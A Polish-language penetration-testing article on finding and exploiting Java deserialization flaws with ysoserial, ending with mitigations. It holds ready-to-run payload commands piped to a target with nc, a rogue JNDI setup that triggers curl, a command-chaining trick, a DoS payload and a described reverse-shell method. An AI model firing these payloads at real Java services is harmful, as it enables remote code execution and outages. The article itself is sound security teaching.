Testowanie i eksploitacja deserializacji w Javie
Testowanie i exploitacja Deserializacji Java w 2021
Od 2015 roku, kiedy deserializacja Java była poważnym zagrożeniem, wprowadzono wiele poprawek i ulepszeń. Jak podejść do testowania serializacji Java, aby osiągnąć najlepsze wyniki? Jak prawidłowo korzystać z narzędzia ysoserial? Dowiesz się z poniższego artykułu.
Artykuł opiera się na prezentacjach, które zostały wygłoszone na polskich konferencjach – OhMyHack, The Hack Summit, a także na spotkaniu online OWASP Polska.
Artykuł nie przedstawia żadnej nowej techniki ataków, ale podsumowanie obecnej „sztuki deserializacji”. Ponadto, zagłębiłem się w kod źródłowy Ysoserial, aby zrozumieć, jak każdy payload powinien działać, co także zaowocowało stworzeniem swojego rodzaju przewodnika o tym jak korzystać z narzędzia Ysoserial. Możesz również znaleźć praktyczne wskazówki, którymi się dziele, oparte na moim własnym doświadczeniu z testowaniem aplikacji Java.
W miarę jak w 2021 roku środowiska Java stają się coraz bardziej zabezpieczone – biblioteki są łatane, wprowadzane są poprawki takie jak JEP 290, a nowe gadżety nie są publikowane, warto podsumować obecne granice eksploitacji deserializacji. Czy deserializacja w Javie nadal stanowi zagrożenie? Czy łatki całkowicie ją wyeliminowały?
Ponieważ artykuł jest dość długi, zacznę od TLDR (ang. „too long, didn’t read”), dzięki czemu możesz poszukać interesujących Cię treści wewnątrz posta. Dodatkowo, dodałem odnośniki do interesujących materiałów zewnętrznych na temat deserializacji w Javie.
TL;DR
- Podczas analizy metodą whitebox warto szukać wystąpień metody readObject(), która może być potencjalnym źródłem podatności na deserializację. Dodatkowo, możesz przetestować podatne serwery TCP. Nie można zapomnieć o dodaniu wymaganych zależności do ścieżki jego klasy. Aby testować payloady Ysoserial można również dodać sam ysoserial.jar jako zależność (wytłumaczone w README).
- Użyj narzędzia do serializacji od Nicky’ego Bloora, aby zobaczyć zawartość zserializowanych obiektów i potwierdzić, czym są. Oprócz podatności na deserializację, które można wykorzystać za pomocą Ysoserial, istnieje możliwość, że logiczne informacje są przesyłane w strumieniu zserializowanym (np. użytkownik=admin).
- Ysoserial ma więcej zastosowań niż tylko uzyskanie natychmiastowego zdalnego wykonania kodu (RCE). Dla testów typu „blind testing” możesz użyć ładunków takich jak URLDNS lub JRMPClient/Listener. Oprócz RCE, warto zwrócić uwagę na sposób korzystania z payloadów związanych z FileUpload lub Object Lookup.
- Bądź gotowy na pojawienie się śladów stosu (stack traces) – nie zawsze oznaczają one, że nie udało się poprawnie przeprowadzić operacji. Zobacz, co zrobić, jeśli napotkasz błędy takie jak SerialUID Mismatch lub ClassNotFoundException na końcu tego artykułu.
1. Czym jest deserializacja — w szybkim skrócie
Serializacja (oraz odwrotny proces – deserializacja) to po prostu funkcja Javy (i wielu innych języków), która pozwala na przekształcenie obiektów w specjalną, binarną formę, w której mogą być transportowane i przechowywane. Później mogą zostać odtworzone (deserializowane) w oryginalnej postaci na innej maszynie wirtualnej Javy (więc środowisko Javy jest zaangażowane w serializację i deserializację danych), niezależnie od tego, czy to jest inny proces czy zupełnie inna fizyczna maszyna.
Jeśli nie rozumiesz podstaw serializacji w Javie, polecam najpierw przeczytać kilka z tych artykułów:
https://www.baeldung.com/java-serialization
https://dzone.com/articles/what-is-serialization-everything-about-java-serial
Dlaczego serializacja w Javie jest interesująca dla badaczy bezpieczeństwa? W zasadzie nie jest to nic nowego, że deserializacja może prowadzić do zdalnego wykonania kodu. Istnieje dobrze znana prezentacja o nazwie „Marshalling Pickles„, która doprowadziła do „Java Deserialization Apocalypse” w 2015/2016 roku, wraz z narzędziem Ysoserial, które zostało wydane krótko po tym wydarzeniu. To narzędzie umożliwia automatyczną eksploitację podatności na deserializację w Javie. Narzędzie Ysoserial zostanie szczegółowo omówione w tym artykule w dalszej części.
Serializacja dotyczy obiektów w Javie. Java jest językiem programowania zorientowanym obiektowo (OOP), więc można oczekiwać, że prawie wszystko w Javie jest obiektem. Zazwyczaj będziemy odnosić się do obiektu jako do instancji klasy w Javie.
Zauważ, że instancja klasy może jednocześnie zawierać wiele pól, a każde z tych pól może być instancją innej klasy. Obiekt zserializowany jest więc pakietem „prefabrykatów” Javy, którym dodano opis, jak je przywrócić do pierwotnego stanu.
Na końcu deserializacji (innego programu / procesu / maszyny / cokolwiek, które wywołuje funkcję deserializacji na obiekcie), ten obiekt zostaje odtworzony (zdeserializowany).
Końcowa deserializacja w zasadzie nie wie, jak powinien wyglądać odtworzony obiekt. I właśnie to jest najistotniejsza część tej podatności – gdy nie ma żadnej kontroli nad tym, co zostanie zdeserializowane, dlaczego nie przesłać czegoś nieoczekiwanego?
2. Pierwotna przyczyna niebezpiecznej deserializacji.
Aby odtworzyć obiekt ze stanu zserializowanego, Java udostępnia specjalną funkcję (lub raczej zestaw funkcji), które muszą być używane na obiekcie, aby można go było zdeserializować. Oznacza to utworzenie instancji tego obiektu na końcowej deserializacji. Opiszemy funkcję ObjectInputStream.readObject() nie zagłębiając się zbytnio w szczegóły, ale miej na uwadze, że nie jest to jedyny punkt docelowy deserializacji, który istnieje.
Sama metoda readObject() jest odpowiedzialna tylko za tworzenie (instancjonowanie) zserializowanego obiektu, a nie za sprawdzanie, jakiego rodzaju obiekt to jest. W związku z tym, jeśli nikt nie dba o dodatkowe zabezpieczenia, każdy obiekt może zostać zdeserializowany.
Jak już wspomniano wcześniej, zserializowany obiekt może być zagnieżdżoną paczką innych obiektów. To, na czym polegają wykorzystania deserializacji, to manipulowanie zagnieżdżonymi obiektami w taki sposób, że zachowują się jak metoda, która jest wykonywana podczas tworzenia obiektu. Taki efekt jest możliwy, gdy prawidłowo zserializowany obiekt jest manipulowany na poziomie binarnym lub za pomocą interfejsu programowania aplikacji (API) Reflection w Javie. W efekcie obiekt po zserializowaniu zachowuje się jak „jack in the box” (skrzyneczka z niespodzianką).
Cały proces jest szczegółowo opisany w dokumentacji Javy:
Odczytanie obiektu jest analogiczne do uruchamiania konstruktorów nowego obiektu. Przydzielana jest pamięć dla obiektu i zostaje ona zainicjowana zerami (NULL). Konstruktory bezargumentowe są wywoływane dla klas nie-serializowalnych, a następnie pola klas serializowalnych są przywracane ze strumienia, zaczynając od klasy serializowalnej najbliższej java.lang.Object i kończąc na najbardziej specyficznej klasie obiektu.
Jeśli jesteś zainteresowany większą ilością funkcji, które deserializują obiekty, sprawdź dokumentację Javy (Java Docs):
https://docs.oracle.com/en/java/javase/12/docs/api/java.base/java/io/ObjectInputStream.html
Podczas inspekcji aplikacji w podejściu white-box, szukaj funkcji readObject(). Są to potencjalne źródła podatności na deserializację (oczywiście, jeśli jesteś w stanie dostarczyć dane kontrolowane przez użytkownika do tych funkcji). Często dostawcy oprogramowania tworzą własne opakowania dla funkcji readObject() . Dla przykładu, może istnieć funkcja vendorDeserialize() w kodzie źródłowym, pod spodem używająca readObject().
Jak już wspomniano, samo wywołanie readObject() jest wystarczające, aby wykorzystać podatność w oprogramowaniu. W celu testowania problemów z deserializacją, znajduje się tutaj prosty serwer TCP, o którym była mowa wcześniej. Jego zadaniem deserializacja wszystkiego, co zostanie przesłane na jego port nasłuchiwania. Aby dowiedzieć się, jak z nim pracować, zapoznaj się z instrukcjami w repozytorium na Githubie.
Jeśli chcesz uruchomić ten przykład samodzielnie, pobierz go i zbuduj z repozytorium Githuba z powyższego linku.
Jak widać, po wywołaniu readObject(), obiekt został zainstancjonowany, co było wystarczające do wykonania eksploatacji na serwerze. Nawet jeśli ktoś wykonuje szereg sprawdzeń po „odczytaniu” obiektu, jest już za późno.
3. Omówienie i zrozumienie protokołu serializacji.
Aby móc zserializować i następnie zdeserializować obiekt, muszą zostać spełnione pewne warunki:
- Obiekt, który ma zostać zserializowany, musi implementować interfejs Serializable (dzięki temu JVM traktuje go inaczej, umożliwiając spakowanie go w razie potrzeby).
- Wszystkie klasy, które mają zostać zdeserializowane, muszą być obecne na ścieżce klas deserializującego. Serializacja dotyczy stanu obiektu, ale definicja musi być już obecna po stronie deserializującej.
Jeśli udało Ci się przeprowadzić analizę statyczną aplikacji, możesz potwierdzić istnienie miejsc podatnych na deserializację poprzez obecność funkcji readObject(). Ale aby móc przetestować podatność na deserializację, musisz również znaleźć sposób dostarczenia danych zserializowanych do tego miejsca w którym występuje podatność. Zazwyczaj najprostszym sposobem na znalezienie użycia serializacji jest zbadanie ruchu aplikacji.
Zserializowane obiekty Javy mają specyficzną sygnaturę, która łatwo pozwala je zidentyfikować – jest nią binarna wartość 0xaced0005. Przekłada się to na base64 jako rO0AB. Należy zauważyć, że zserializowany obiekt Javy może być owinęty w dowolny rodzaj szyfrowania lub kodowania, dlatego gdy mamy do czynienia z aplikacją Javy, warto dokładnie przeanalizować wszelkie dane kodowane, które są wysyłane. Dotyczy to na przykład ruchu TCP lub kanałów HTTP, takich jak parametry POST, ciasteczka (Cookies) i nagłówki (Headers).
Jeśli podejrzewasz, że jakieś dane mogą być zserializowanym obiektem Javy, możesz użyć narzędzia o nazwie „Serialization Dumper” do ich zbadania.
Jednym z pól jest SerialUID, który jest unikalnym identyfikatorem wersji klasy. Może to spowodować, że twoje payloady nie będą działać, zostało to też opisane później w sekcji „rozwiązywanie problemów”.
4. Testowanie z Ysoserial
Jak wcześniej wspomniano, Ysoserial to narzędzie służące do wykorzystywania podatności deserializacji w Javie. Składa się ono z modułów dla konkretnych payloadów. Każdy payload generuje zserializowany obiekt, który po zainicjowaniu wywołuje pewien rodzaj akcji.
Zserializowany obiekt może być utworzony z klas, które mają już ustawione i dostosowane pewne pola (które są również klasami) za pomocą refleksji Javy lub manipulacji binarnej. Dokładnie to samo robi Ysoserial. Te prefabrykowane obiekty, które z kolei tworzą większy obiekt, który wywołuje pewną operację podczas inicjalizacji, nazywane są gadżetami (gadgets).
Klasy, które mają pewne specyficzne cechy, które czynią je użytecznymi jako gadżety, są rzadko spotykane w standardowych klasach Javy. Często są to bardziej zaawansowane obiekty, które stanowią część popularnych bibliotek (co sprawia, że mają duże szanse być obecne w większości ścieżek klas, co z kolei czyni je dobrym wyborem do tworzenia zserializowanych obiektów ukierunkowanych na podatności deserializacji). Te biblioteki gadżetów nazywane są bibliotekami gadżetów (gadget libraries).
Tak więc Ysoserial, oprócz payloadów, wykorzystuje biblioteki gadżetów do generowania zserializowanych obiektów, które po zainicjowaniu wywołują pewne działanie. Teraz krótko wyjaśnię, które payloady tworzą jakie działanie.
Ostatnio na różnych blogach internetowych widziałem sugestię, aby używać Ysoserial w pętli „for”, iterując po payloadach. To nie jest dobry sposób na właściwe użycie tego narzędzia, ponieważ traci się wtedy jego ogromny potencjał.
W zasadzie, jeśli spojrzysz na kod źródłowy w payloadach narzędzia Ysoserial, znajdziesz komentarze wskazujące na odpowiednie użycie każdego modułu payloadu. Poniżej zamieściłem krótkie podsumowanie. Należy zauważyć, że istnienie zserializowanych obiektów w komunikacji nie oznacza, że aplikacja jest podatna na atak. Może to być również poprawnie zaprojektowana serializacja (która sprawdza typ danych przed instancjonowaniem czegokolwiek) lub posiada zaaplikowane łatki. Odpowiednie podejście do testowania powinno pozwolić Ci stwierdzić, czy aplikacja deserializuje coś, ale nie ma dostępnych gadżetów, czy też jest to aplikacja zaprojektowana bezpiecznie.
4.1 FileUpload, Wicket1
Te dwa payloady są do siebie podobne. Zserializowany obiekt opiera się na klasie DiskFileItem, co powoduje utworzenie pliku na zdalnym systemie operacyjnym. Jeśli spojrzysz na kod źródłowy, na przykład FileUpload1, znajdziesz komentarze wskazujące na sposób użycia tego kodu. Jeśli zdalna ścieżka klas zawiera zależności FileUpload/Wicket i jest podatna na niebezpieczną deserializację, możesz użyć następującej komendy do wygenerowania payloadu narzędzia ysoserial.
java -jar ysoserial.jar FileUpload1 “write;/tmp;CONTENTSOFTHEFILE”
Spowoduje to, że zdalne JVM utworzy plik o losowej nazwie z zawartością CONTENTSOFTHEFILE w katalogu /tmp.
4.2 Payloady związane z RMI
Istnieją dwa payloady narzędzia ysoserial, które są dedykowane do eksploitacji rejestrów RMI (Remote Method Invocation). Jednak po wprowadzeniu JEP290 zdalna eksploitacja rejestrów RMI jest znacznie trudniejsza.
Oba payloady zostały zaprojektowane do współpracy ze sobą – JRMPListener otwiera fałszywy rejestr RMI, a JRMPClient umożliwia zdalne wykorzystanie go, jeśli docelowe JRE nie jest załatane przy użyciu JEP290.
Dodatkowo, JRMPListener może być użyty do hostowania payloadu na fałszywym rejestrze RMI w celu zdeserializowania go, a JRMPClient może być użyty przeciwko celowi, aby połączyć się z rejestrem atakującego i zdeserializować payload. Technika ta była wykorzystywana w przypadku podatności Weblogic CVE-2018-2628 (https://www.exploit-db.com/exploits/44553).
java -cp ysoserial.exploit.JRMPListener <port> <payload_type> <payload_arguments>
java -jar /root/Tools/ysoserial.jar JRMPClient 127.0.0.1:1099
java -jar ysoserial.jar JRMPListener 1199
Ten payload powoduje, że końcowa deserializacja otwiera pusty rejestr RMI.
4.3 Payload Object Lookup (Wyszukiwanie obiektów).
Object Lookup (Wyszukiwanie obiektów) jest funkcją Javy związaną z interfejsem Java Naming and Directory Interface (JNDI). W skrócie, umożliwia pobieranie („looking up„) zdalnych obiektów z różnych źródeł. Źródłami mogą być katalogi LDAP, serwery RMI lub serwery HTTP. Zazwyczaj ta funkcja jest wykorzystywana w celu wykorzystania podatności z klasy JNDI Injection, o której możesz przeczytać więcej tutaj i tutaj.
Payloady, które polegają na tym wektorze ataku, wymagają hostowania złośliwego obiektu po twojej stronie, a końcowa deserializacja będzie wyszukiwać ten złośliwy obiekt, co oznacza, że pobierze go i wykona. Ze względu na wzmocnienie zabezpieczeń nowoczesnej Javy istnieje kilka zastrzeżeń, które tutaj nie będą omawiane z powodu zbyt dużego zakresu. W skrócie – w przeszłości wystarczyło hostować skompilowaną klasę Javy do wykonania. Teraz musi spełniać dodatkowe wymagania, które są opisane w wyżej wspomnianym artykule o wstrzykiwaniu JNDI.
Podczas testów nie udało mi się uruchomić Hibernate2 i Myfaces2, jednak udało mi się uruchomić C3P0, hostując złośliwy obiekt za pomocą Artsploit – Rogue JNDI.
Aby użyć tego payloadu, najpierw uruchamiamy nasłuchiwanie narzędziem netcat, a następnie uruchamiamy podatny serwer TCP.
Ten payload (jeśli gadżety C3P0 są obecne w ścieżce klas) może być używany do przeprowadzenia ataków zarówno SSRF (Server-Side Request Forgery) jak i RCE (Remote Code Execution). Dla prostego SSRF:
java -jar ysoserial.jar C3P0 “http://127.0.0.1:9999/:SSRF" | nc -v 127.0.0.1 12345
Dla RCE będziemy musieli skonfigurować rogue-jndi i skierować ysoserial do niego payload ysoserial.
java -jar ysoserial.jar C3P0 “http://127.0.0.1:8000/:xExportObject" | nc -v 127.0.0.1 12345
Podczas gdy na porcie 8000 działa listener rogue-jndi.
java -jar RogueJndi-1.1.jar -c “curl http://127.0.0.1:9999/rce"
Co skutkuje wykonaniem złośliwego obiektu.
4.4 URLDNS Payload
Bardzo przydatny payload w kontekście ślepego testowania. Wyszukiwanie DNS to funkcja Javy, która obsługuje zserializowany obiekt URL zaprojektowany w specyficzny sposób. Jest przydatny, ponieważ ten payload nie wymaga dodatkowych bibliotek do działania. Używaj go w taki sposób:
java -jar /root/Tools/ysoserial.jar URLDNS “http://12345.burpcollaborator.net”
To skutkuje otrzymaniem DNS lookup do naszego collaboratora. Choć to nie jest bardzo poważne zagrożenie, jest to dobry sposób, aby potwierdzić istnienie podatności na niebezpieczną deserializację.
Jeśli nie masz wersji Pro programu Burp, możesz użyć DNSChef, aby odbierać interakcję DNS. Należy zauważyć, że ten payload został również zaprojektowany tylko w celu wykrywania dowolnej serializacji, a sama interakcja DNS nie ma za dużego impaktu (najważniejszy impakt, jaki przychodzi mi do głowy, to ujawnienie adresu IP wewnętrznego hosta).
4.5 Jython i Myfaces
Nie udało mi się ich uruchomić podczas moich testów, jednak payload Jython powinien działać w podobny sposób jak FileUpload, z tą różnicą, że uruchamia również przesłany skrypt.
Myfaces1 — polega na wykonywaniu wyrażenia EL (Expression Language), jednak podczas eksperymentów również nie udało mi się go uruchomić.
4.6 RCE Payloads
Wszystkie pozostałe payloady wymienione poniżej są zaprojektowane do bezpośredniego wykonania kodu. Należy zauważyć, że na nowoczesnej Javie możesz mieć trudności z uruchomieniem CommonsCollections 1–4 ze względu na wzmocnienie klas JDK. Jeśli masz dostęp do śladów stosu (stack traces), możesz to potwierdzić, naprzykład jeśli zostanie znaleziony błąd „missing element entrySet”.
4.7 DoS payloads
DoS PoC (Proof of Concept) dla natywnego JDK polega na rekurencyjnym użyciu HashSet. Oryginalny PoC znajdziesz tutaj. Udało mi się go trochę zmodyfikować, tak aby generował zserializowany payload zamiast natychmiastowego deserializowania. Zmodyfikowaną wersję tego payloadu możesz pobrać tutaj. Zserializowany ładunek, gdy zostanie wysłany do podatnego serwera TCP, powoduje gwałtowny wzrost zużycia zasobów. Generujemy payload DoS:
javac SerialDOS.java && java SerialDOScat dos.ser | nc -v 127.0.0.1 12345
4.8 Inne publiczne exploity & payloady
Ciekawe eksploity i warianty narzędzia Ysoserial, które zawierają dodatkowe payloady.
- https://github.com/wh1t3p1g/ysoserial
- https://github.com/federicodotta/ysoserial
- https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
5. Rozwiązywanie problemów
Podczas eksploitowania podatności związanych z serializacją może wystąpić wiele problemów. Aby pomyślnie przeprowadzić serializację i deserializację, muszą zostać spełnione następujące warunki:
- Obiekty, które mają zostać zserializowane, muszą implementować interfejs Serializable.
- Dane muszą być zserializowane i przetransportowane – potrzebujesz niezawodnego sposobu dostarczenia ładunku (np. ruchu HTTP).
- Obiekt musi zostać zdeserializowany (instancjonowany) po drugiej stronie, co wymaga:
- Danych, które muszą dotrzeć w niezmienionej postaci, w tym odpowiedniego kodowania, szczególnie gdy przechodzą przez wiele urządzeń / proxy.
- W zdalnej ścieżce klas muszą znajdować się wszystkie klasy, które mają być zdeserializowane.
- SerialVersionUID musi pasować do wartości znanej po stronie deserializacji.
- Nie powinno być filtrów procesów (np. niebezpiecznej deserializacji z ReadObject) lub dane zdeserializowane muszą pasować do reguł filtrów.
Jeśli którykolwiek z tych wymagań nie zostanie spełniony, prawdopodobnie otrzymasz długi ślad stosu (stack trace). Jeśli nie pracujesz regularnie z Javą, może Cię to zniechęcić. Poniżej znajdziesz wyjaśnienie popularnych błędów i jak je rozwiązać.
5.1 ClassNotFound Exception
To oznacza, że klasa (jej nazwa zostanie wymieniona w śladzie stosu) nie znajduje się w ścieżce klas docelowej. Błąd ten mówi nam, że docelowa ścieżka klas jest załatana, na przykład nawet jeśli na niej znajdują się podatne biblioteki, mogą zostać wyłączone klasy gadżetów. Jednak podczas testu penetracyjnego, jeśli uda ci się uzyskać informacje na temat klas znajdujących się w ścieżce klas, możesz spróbować je wyliczyć. Narzędzie o nazwie GadgetProbe może być w tym przypadku pomocne.
5.2 SerialUID Mismatch / InvalidClassException
SerialUID to unikalny identyfikator klasy, który pomaga JVM w zapewnieniu integralności wersji zserializowanego obiektu. Cytując dokumentację Javy: “Podczas serializacji przydziela się każdej serializowalnej klasie numer wersji, który nosi nazwę serialVersionUID. Numer ten jest używany podczas deserializacji do weryfikacji, czy nadawca i odbiorca zserializowanego obiektu załadowali klasy dla tego obiektu, które są kompatybilne pod względem serializacji. Jeśli odbiorca załadował klasę dla obiektu, która ma inny serialVersionUID niż klasa nadawcy, deserializacja spowoduje wystąpienie wyjątku InvalidClassException. Serializowalna klasa może zadeklarować własny serialVersionUID w sposób jawny, poprzez deklarację pola o nazwie serialVersionUID, które musi być statyczne, finalne i typu long.”
W skrócie, niezgodność SerialVersionUID może wystąpić, jeśli używasz innej wersji biblioteki do konstruowania swojego zserializowanego payloadu (np. 1.2 zamiast 1.3). Aby to naprawić:
- Spróbuj różnych wersji biblioteki, która zawiera błędną klasę.
- Użyj debugera Javy, aby naprawić SerialVersionUID podczas jego działania.
Wspaniały artykuł przygotowany przez RhinoSecurityLabs pokazuje, jak radzić sobie z takim problemem w rzeczywistym scenariuszu.
5.3 Filter status REJECTED
Komunikat „filter status REJECTED” obecny w stack trace oznacza, że aplikacja wykorzystuje filtrowanie serializacji, co z kolei oznacza, że może być w pewien sposób zabezpieczona. Filtrowanie serializacji jest jednym z zalecanych sposobów radzenia sobie z niebezpieczną deserializacją i ogranicza, które typy danych mogą być instancjonowane podczas deserializacji, a które nie.
5.4 java.io.IOException: Cannot run program “xyz”
To oznacza, że twój payload działa, ale program, który ma zostać uruchomiony, nie został odnaleziony. Może to być spowodowane brakiem binarnego pliku lub niezgodnością systemu operacyjnego (np. próbujesz uruchomić notepad.exe na systemie Linux).
5.5 Shell commands not working
Podczas konstruowania polecenia do wykonania przez payload narzędzia ysoserial na systemie Linux, należy pamiętać, że piping i przekierowania wyjścia (output redirectors) nie będą działać. Ponadto, jeśli w argumentach głównych poleceń występują spacje (na przykład sh -c “python -c \”import pty…\””), również mogą pojawić się problemy.
Dzieje się tak dlatego, że ostateczne źródło RCE – funkcja Java’s Runtime.exec(), nie jest uruchamiana przez samą powłokę bash, więc typowe funkcje powłoki bash nie będą dostępne. Jest szczegółowe wyjaśnienie od CodeWhiteSec, jeśli chcesz zrozumieć, dlaczego tak się dzieje. Jeśli chcesz wykonać sekwencję poleceń (chained command) przy użyciu narzędzia ysoserial, użyj:
java -jar /root/Tools/ysoserial.jar Groovy1 ‘sh -c $@|sh . echo [now you can chain commands and use spaces in arguments here]’
Przykład:
java -jar /root/Tools/ysoserial.jar Groovy1 ‘sh -c $@|sh . echo id | curl http://localhost:1234'
Oczywiście, nie jest to konieczne. Jeśli już osiągnąłeś wykonanie pojedynczego polecenia, możesz również zrobić to samo, wykonując kilka poleceń, na przykład stwórz reverse shell za pomocą curl z twojego komputera, następnie nadaj jej uprawnienia do wykonania plików (chmod +x) i wreszcie wykonaj ją, aby nawiązać połączenie zwrotne.
5.6 Wykrywanie wersji Java
Prawdopodobnie wersja Javy na maszynie docelowej będzie aktualna. Nawet jeśli nie jest to najnowsza, to łatka JEP290, która dotyczy serializacji, działa również w starszych wersjach (co najmniej JDK 1.7u21 lub nowszych). Pamiętaj jednak, że wiele aplikacji Javy to często duże urządzenia, które mają wiele zależności. Istnieje duże prawdopodobieństwo, że ich właściciele nie aktualizują ich, obawiając się ich zepsucia. Jeśli aplikacja jest wirtualnym urządzeniem (dostarczanym z systemem operacyjnym), to istnieje prawdopodobieństwo, że wersja Javy jest wciąż taka sama, jak w momencie wydania.
6. Przeciwdziałania
Pierwsze i najważniejsze: nie deserializuj arbitralnych danych. Jeśli już to robisz w swojej aplikacji, możesz podjąć następujące działania:
- Wykorzystaj rozwiązania open source, takie jak SerialKiller lub Contrast-rO0.
- Użyj wbudowanego filtrowania serializacji.
Czasami trudno udowodnić, że błąd deserializacji stanowi zagrożenie dla bezpieczeństwa. Dostępna jest ograniczona liczba łańcuchów gadgetów publicznie, a opracowanie niestandardowego łańcucha gadgetów jest zadaniem wymagającym zaawansowanej wiedzy.
Trudno przekonać kogokolwiek, że sytuacja w której aplikacja wykonuje dowolne rozwiązanie DNS, powinna być klasyfikowany jako wysokie zagrożenie. W zasadzie, jeśli nie masz działającego łańcucha gadgetów to niestety, ale wykryty błąd deserializacji jest klasycznym przykładem „niskiej szansy na wysokie skutki”.
Nie zależnie od tego, czy widoczne są skutki – jakiekolwiek wykryte niebezpieczne deserializacje powinny być łatane .Pamiętaj, że pojawienie się nowego łańcucha gadgetów może natychmiast zmienić je w zdalne wykonanie kodu (RCE).
7. Referencje:
- https://github.com/NickstaDB/SerializationDumper
- https://gist.github.com/coekie
- https://github.com/frohoff/ysoserial
- https://github.com/artsploit/rogue-jndi
- https://www.veracode.com/blog/research/exploiting-jndi-injections-java
- https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
- https://github.com/wh1t3p1g/ysoserial
- https://github.com/federicodotta/ysoserial
- https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
Autor: Lukasz Mikula. Linkedin (https://www.linkedin.com/in/lukaszmikula/) or Twitter (@0xluk3)